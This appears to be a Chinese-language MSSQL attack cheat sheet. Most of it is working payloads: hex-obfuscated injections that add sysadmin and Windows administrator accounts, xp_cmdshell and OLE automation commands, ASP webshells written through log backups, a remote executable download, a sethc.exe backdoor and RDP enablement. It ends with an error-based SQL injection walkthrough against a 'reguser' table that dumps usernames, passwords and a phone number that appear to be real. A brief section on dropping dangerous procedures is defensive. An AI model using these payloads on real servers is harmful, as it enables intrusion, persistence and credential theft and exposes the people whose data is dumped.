,@username varchar(200) --用戶名,若是用NT驗證方式,則爲空'' 
,@password varchar(200) --密碼 
,@tbname varchar(500) --數據庫.dbo.表名,若是不指定:.dbo.表名,則導出數據庫的全部用戶表 
,@filename varchar(1000) --導入/導出路徑/文件名,若是@tbname參數指明是導出整個數據庫,則這個參數是文件存放路徑,文件名自動用表名.txt 
,@isout bit --1爲導出,0爲導入 
as 
declare @sql varchar(8000) 

if @tbname like '%.%.%' --若是指定了表名,則直接導出單個表 
begin 
set @sql='bcp '+@tbname 
+case when @isout=1 then ' out ' else ' in ' end 
+' "'+@filename+'" /w' 
+' /S '+@servername 
+case when isnull(@username,'')='' then '' else ' /U '+@username end 
+' /P '+isnull(@password,'') 
exec master..xp_cmdshell @sql 
end 
else 
begin --導出整個數據庫,定義遊標,取出全部的用戶表 
declare @m_tbname varchar(250) 
if right(@filename,1)<>'\' set @filename=@filename+'\' 

set @m_tbname='declare #tb cursor for select name from '+@tbname+'..sysobjects where xtype=''U''' 
exec(@m_tbname) 
open #tb 
fetch next from #tb into @m_tbname 
while @@fetch_status=0 
begin 
set @sql='bcp '+@tbname+'..'+@m_tbname 
+case when @isout=1 then ' out ' else ' in ' end 
+' "'+@filename+@m_tbname+'.txt " /w' 
+' /S '+@servername 
+case when isnull(@username,'')='' then '' else ' /U '+@username end 
+' /P '+isnull(@password,'') 
exec master..xp_cmdshell @sql 
fetch next from #tb into @m_tbname 
end 
close #tb 
deallocate #tb 
end 
go 

/************* oracle **************/ 
EXEC sp_addlinkedserver 'OracleSvr', 
'Oracle 7.3', 
'MSDAORA', 
'ORCLDB' 
GO 

delete from openquery(mailser,'select * from yulin') 
select * from openquery(mailser,'select * from yulin') 
update openquery(mailser,'select * from yulin where id=15')set disorder=555,catago=888 
insert into openquery(mailser,'select disorder,catago from yulin')values(333,777) 


補充: 
對於用bcp導出,是沒有字段名的. 
用openrowset導出,須要事先建好表. 
用openrowset導入,除ACCESS及EXCEL外,均不支持非本機數據導入
View Code

 

 

SQL存儲過程sql

sql2005恢復xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
關閉:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
零、
-- 添加SA用戶--

1exec master.dbo.sp_addlogin system;
2exec master.dbo.sp_addlogin system,system;
3exec master.dbo.sp_addsrvrolemember itpro,sysadmin

防注入 sa:itpro pass:itpro
declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726f as varchar(4000));exec(@s); declare @c varchar(4000) set @c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726f as varchar(4000));exec(@c); declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1

防注入 sa:system pass:system
declare @s varchar(4000) set @s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656d as varchar(4000));exec(@s);declare @a varchar(4000) set @a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696e as varchar(4000));exec(@a);-- and 1=1
1、
-恢復存儲過程-

use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_dropextendedproc "xp_cmdshell"
exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'


恢復cmdshell防注入
declare @a varchar(255),@b varchar(255),@c varchar(255);
set @a=0x6D61737465722E2E73705F616464657874656E64656470726F63;
set @b=0x78705F636D647368656C6C;
set @c=0x78706C6F6737302E646C6C;
exec @a @b,@c

2、
--恢復sp_addextendedproc存儲過程--

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

3、
--使用存儲過程加管理方法--

1、master.dbo.xp_cmdshell 'net user itpro gmasfm && net localgroup administrators itpro /add'
2EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
3DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD 
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user sadfish fish /add'

4、
-- 導出文件的存儲過程  --

DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c netstat -an >c:\1.txt'

5、
--  讀取文件的存儲過程   --

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\1.txt', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end

6、
-----寫一句話木馬-----

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\Inetpub\tianhong\2.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%execute(request("a"))%>'     ' ' 單引號爲要寫的內容
<%25 if request("x")<>"" then execute(request("x"))%25>

防注入寫入法
declare @a int,@b int,@c varchar(255),@d varchar(255),@e varchar(255),@f varchar(255),@g varchar(255),@h varchar(255),@i varchar(255),@j varchar(255);
set @c=0x6D61737465722E2E73705F6F61637265617465;
set @d=0x6D61737465722E2E73705F6F616D6574686F64;
set @e=0x536372697074696E672E46696C6573797374656D4F626A656374;
set @f=0x4372656174655465787446696C65;
set @g=0x433A5C496E65747075625C73797374656D2E617370;
set @h=0x74727565;
set @i=0x7772697465;
set @j=0x3C256576616C20726571756573742822582229253E;
exec @c @e,@a output;
exec @d @a,@f,@b output,@g,@h;
exec @d @b,@i,null,@j

7、
-----寫一句話木馬-----

declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;-- and% 1=1
在上面同樣;exec%20sp_makewebtask%20'd:\zjkdj\zjkdj\zjkds\bake.asp,'%20select%20''<%25execute(request("a"))%25>''%20';--

8、
---SA沙盒模式提權-----

一、exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

二、Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user itpro gmasfm /add")');

9、
-----另類SA提權-----

二、declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out 
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
一、declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

DECLARE @o int
DECLARE @z int
EXEC sp_OACreate 'Shell.Users',@o OUT
EXEC sp_OAMethod @o, 'Create', @z OUT, 'test'
EXEC sp_OASetProperty  @z, 'setting', 3 , 'AccountType'
EXEC sp_OAMethod @z, 'ChangePassword',NULL , '123456', ''

10、
--導出註冊表--

一、drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)--

二、delete [regdir];insert [regdir]exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port'

11、
---下載程序-----

一、declare @b varbinary(8000),@hr int,@http int,@down int exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[[url=http://192.168.1.6:800/wwwroot.rar]連接標記http://192.168.1.6:800/wwwroot.rar[/url]],0 exec @hr = sp_oamethod @http,[send],null exec @hr=sp_oagetproperty @http,[responsebody],@b output exec @hr=sp_oacreate [adodb.stream],@down output exec @hr=sp_oasetproperty @down,[type],1 exec @hr=sp_oasetproperty @down,[mode],3 exec @hr=sp_oamethod @down,[open],null exec @hr=sp_oamethod @down,[write],null,@b exec @hr=sp_oamethod @down,[savetofile],null,[c:/a.exe],1 ;-- and 1=1

12、
-Log備份WebShell-

alter database master set RECOVERY FULL
create table cmd (a image)--
backup log master to disk = 'c:\cmd' with init
insert into cmd (a) values ('<%eval(request("a")):response.end%>')--
backup log master to disk = 'C:\Inetpub\wwwroot\ri3.asp'--
drop table cmd--
2\

use mir
alter database mir set RECOVERY FULL --
create table cmd8 (a image)--
backup log mir to disk = 'c:\cmd8' with init --
insert into cmd8 (a) values ('<%eval(request("a")):response.end%>')--
backup log mir to disk = 'c:\backup.asp'--
drop table cmd8--
alter database mir set RECOVERY SIMPLE --
3\
create/**/table/**/[dbo].[shit_tmp]/**/([cmd]/**/[image])--
declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x6C0061006F007A0068006F007500/**/backup/**/log/**/@a/**/to/**/disk/**/=/**/@s/**/with/**/init,no_truncate--
insert/**/into/**/[shit_tmp](cmd)/**/values(0x3C256576616C28726571756573742822612229293A726573706F6E73652E656E64253E)--
select/**/@s=0x63003a005c0031002e00610073007000/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate--
Drop/**/table/**/[shit_tmp]--
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

十3、
-------------------------------
--建立sp_readtextfile存儲過程--
-------------------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Create proc sp_readTextFile @filename sysname
as

  begin
  set nocount on
  Create table #tempfile (line varchar(8000))
  exec ('bulk insert #tempfile from "' + @filename + '"')
  select * from #tempfile
  drop table #tempfile
End
go

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

十4、開3389
===================================================================
declare @a varchar(255),@b varchar(255); set @a=0x6D61737465722E64626F2E78705F636D647368656C6C; set @b=0x636D64202F6320776D6963205244544F47474C45205748455245205365727665724E616D653D2725434F4D50555445524E414D4525272063616C6C20536574416C6C6F775453436F6E6E656374696F6E732031; exec @a @b
===================================================================




我記得2003的web目錄是寫在C:\WINDOWS\system32\inetsrv\MetaBase.xml
-----------------
---讀取文件內容--
-----------------
exec sp_readTextFile 'c:\boot.ini'


xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File  Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'


-----------------------
---清除MsSql日誌-------
-----------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
set nocount on 
declare @logicalfilename sysname,
@maxminutes int,
@newsize int
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

----------------------
--停掉或激活某個服務--
----------------------
exec master..xp_servicecontrol 'stop','sharedaccess'
exec master..xp_servicecontrol 'start','sharedaccess'

--------------------
--列出驅動器的名稱--
--------------------

EXEC [master].[dbo].[xp_availablemedia]

----------------------------------
--列出指定目錄的全部下一級子目錄--
----------------------------------

EXEC [master].[dbo].[xp_subdirs] 'c:\windows'

------------------------------
--列出當前錯誤日誌的具體內容--
------------------------------

EXEC [master].[dbo].[xp_readerrorlog]

----------------------
--列出當前計算機名稱--
----------------------

execute master..xp_getnetname

--------------------------------
-列出當前計算機的驅動器可用空間-
--------------------------------

execute master..xp_fixeddrives

========================
==列出服務器全部本地組==
========================

execute master..xp_enumgroups

======================
==獲取MS SQL的版本號==
======================

execute master..sp_msgetversion

=========================================
==參數說明:目錄名,目錄深度,是否顯示文件==
========================================= 

execute master..xp_dirtree 'c:' 
execute master..xp_dirtree 'c:',1 
execute master..xp_dirtree 'c:',1,1

=========================================
==列出服務器上安裝的全部OLEDB提供的程序==
=========================================

execute master..xp_enum_oledb_providers

=========================
==列出服務器上配置的DNS==
=========================

execute master..xp_enumdsn 

刪除存儲過程 

drop PROCEDURE sp_addextendedproc


-----------------------
--刪除sql危險存儲過程--
-----------------------

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xp_cmdshell新的恢復辦法

擴展儲存過程被刪除之後能夠有很簡單的辦法恢復:
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

恢復
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

這樣能夠直接恢復,不用去管sp_addextendedproc是否是存在


刪除擴展存儲過過程xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell'

恢復cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

開啓cmdshell的sql語句

exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判斷存儲擴展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結果爲1就ok

恢復xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結果爲1就ok

不然上傳xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

堵上cmdshell的sql語句
sp_dropextendedproc "xp_cmdshell 

讀3389端口
regedit /e port.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
而後 type port.reg | find "PortNumber" 
sql 語句
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
declare @s varchar(4000) set @s=cast(0x65786563206D61737465722E2E78705F726567726561642027484B45595F4C4F43414C5F4D414348494E45272C2753595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D546370272C27506F72744E756D62657227 as varchar(4000));exec(@s); --

開啓2003的終端(sa)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal Server', 'fDenyTSConnections','REG_DWORD','0'

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--
View Code

 

 

SQL構造having語句暴字段shell

1、得到創建用戶的表的名字和字段的名字;使用select語法的having子句。
''having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_id'' 在選擇列表中無效,由於該列未包含在聚合函數中,而且沒有 GROUP BY 子句。
/football/reguser/check.asp,行26
成果:知道了表的名字reguser和第一個字段的名字reguser.reg_id。

2、經過字段放到group by子句找到字段名。
1''group by reguser.reg_id having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_name'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_name字段
2''group by reguser.reg_id,reguser.reg_name having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_password'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_password字段
3''group by reguser.reg_id,reguser.reg_name,reguser.reg_password having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_relname'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_relname字段
4''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_regtime'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_regtime字段
5''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_findme'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_findme字段
6''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_city'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_city字段
7''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_qq'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_qq字段
8''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_icq'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_icq字段

9''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_msn'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_msn字段
10''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_phone'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_phone字段
11''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_class'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_class字段
12''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_money'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_money字段
13''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_regip'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_regip字段
14''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_Estar'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_Estar字段
15''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_Eend'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_Eend字段
16''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_changeuser'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_changeuser字段
17''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_changetime'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_changetime字段
18
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_logintime'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_logintime字段
19
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime having 1=1--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''''reguser.reg_online'' 在選擇列表中無效,由於該列既不包含在聚合函數中,也不包含在 GROUP BY 子句中。
/football/reguser/check.asp,行26
成果:獲得了reguser.reg_online字段
20
''group by reguser.reg_id,reguser.reg_name,reguser.reg_password,reguser.reg_relname,reguser.reg_regtime,reguser.reg_findme,reguser.reg_city,reguser.reg_qq,reguser.reg_icq,reguser.reg_msn,reguser.reg_phone,reguser.reg_class,reguser.reg_money,reguser.reg_regip,reguser.reg_Estar,reguser.reg_Eend,reguser.reg_changeuser,reguser.reg_changetime,reguser.reg_logintime,reguser.reg_online having 1=1--

返回結果:
出現信息提示框;你還不是會員請註冊
到這裏一個表猜完。
3、肯定列的類型。經過使用類型轉化來實現:利用了SQLSERVER在肯定兩個結果集的字段是否相等前應用sum子句。
1''union select sum(reguser.reg_name) from reguser--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e07''
sum or average aggregate 運算不能以 varchar 數據類型做爲參數。
/football/reguser/check.asp,行26
成果:reguser.reg_name字段是數據類型varchar。
2''union select sum(reguser.reg_id) from reguser--

返回結果:
Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e14''
包含 UNION 運算符的 SQL 語句中的全部查詢都必須在目標列表中具備相同數目的表達式。
/football/reguser/check.asp,行26
4、insert查詢:

'';insert into reguser values(666,''attacker'',''foobar'')--

5、
''union select  from reguser where reguser.reg_name=''admin''--
'';select  from reguser where reguser.reg_name=''admin''--

'';updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''--
''union updata reguser set reguser.reg_password=''36d201fb337dc23bde4d143491cfae4d'' where reguser.reg_name=''admin''--

6、從reguser表中讀取用戶名:
''union select min(reguser.reg_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''a''--
這句選擇users表中username大於''a''中的最小值,並試圖把它轉化成一個整型數字:

收集密碼:
''union select reguser.reg_password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from reguser where reguser.reg_name>''admin''--
''union select password,1,1,1 from users where username=''admin''--
13535701998

建立了一個foo表,裏面只有一個單獨的列''ret'',裏面存放着獲得的用戶名和密碼的字符串
'';begin declare @ret varchar(8000) set @ret='':'' select @ret=@ret+'' ''+reguser.reg_name+''/''+reguser.reg_password from reguser where reguser.reg_name>@ret select @ret as 1866574 into 1866574 end--

''union select ret,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from foo--

Microsoft OLE DB Provider for SQL Server 錯誤 ''80040e07''varchar'': 383838/989898 123456/234567 korea007/154085 風681168/13535701998 kyo327/woaini denglong/247986965'' 轉換爲數據類型爲 int 的列時發生語法錯誤。
/football/reguser/check.asp,行26

'';drop table foo--

admin'';declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to us'',528 waitfor delay ''00:00:05''--

=-= 加賬號 =-=
'';Exec master..xp_cmdshell ''net user''--

'';Exec master..xp_cmdshell ''net user jiaoniang$ 1866574 /add''--
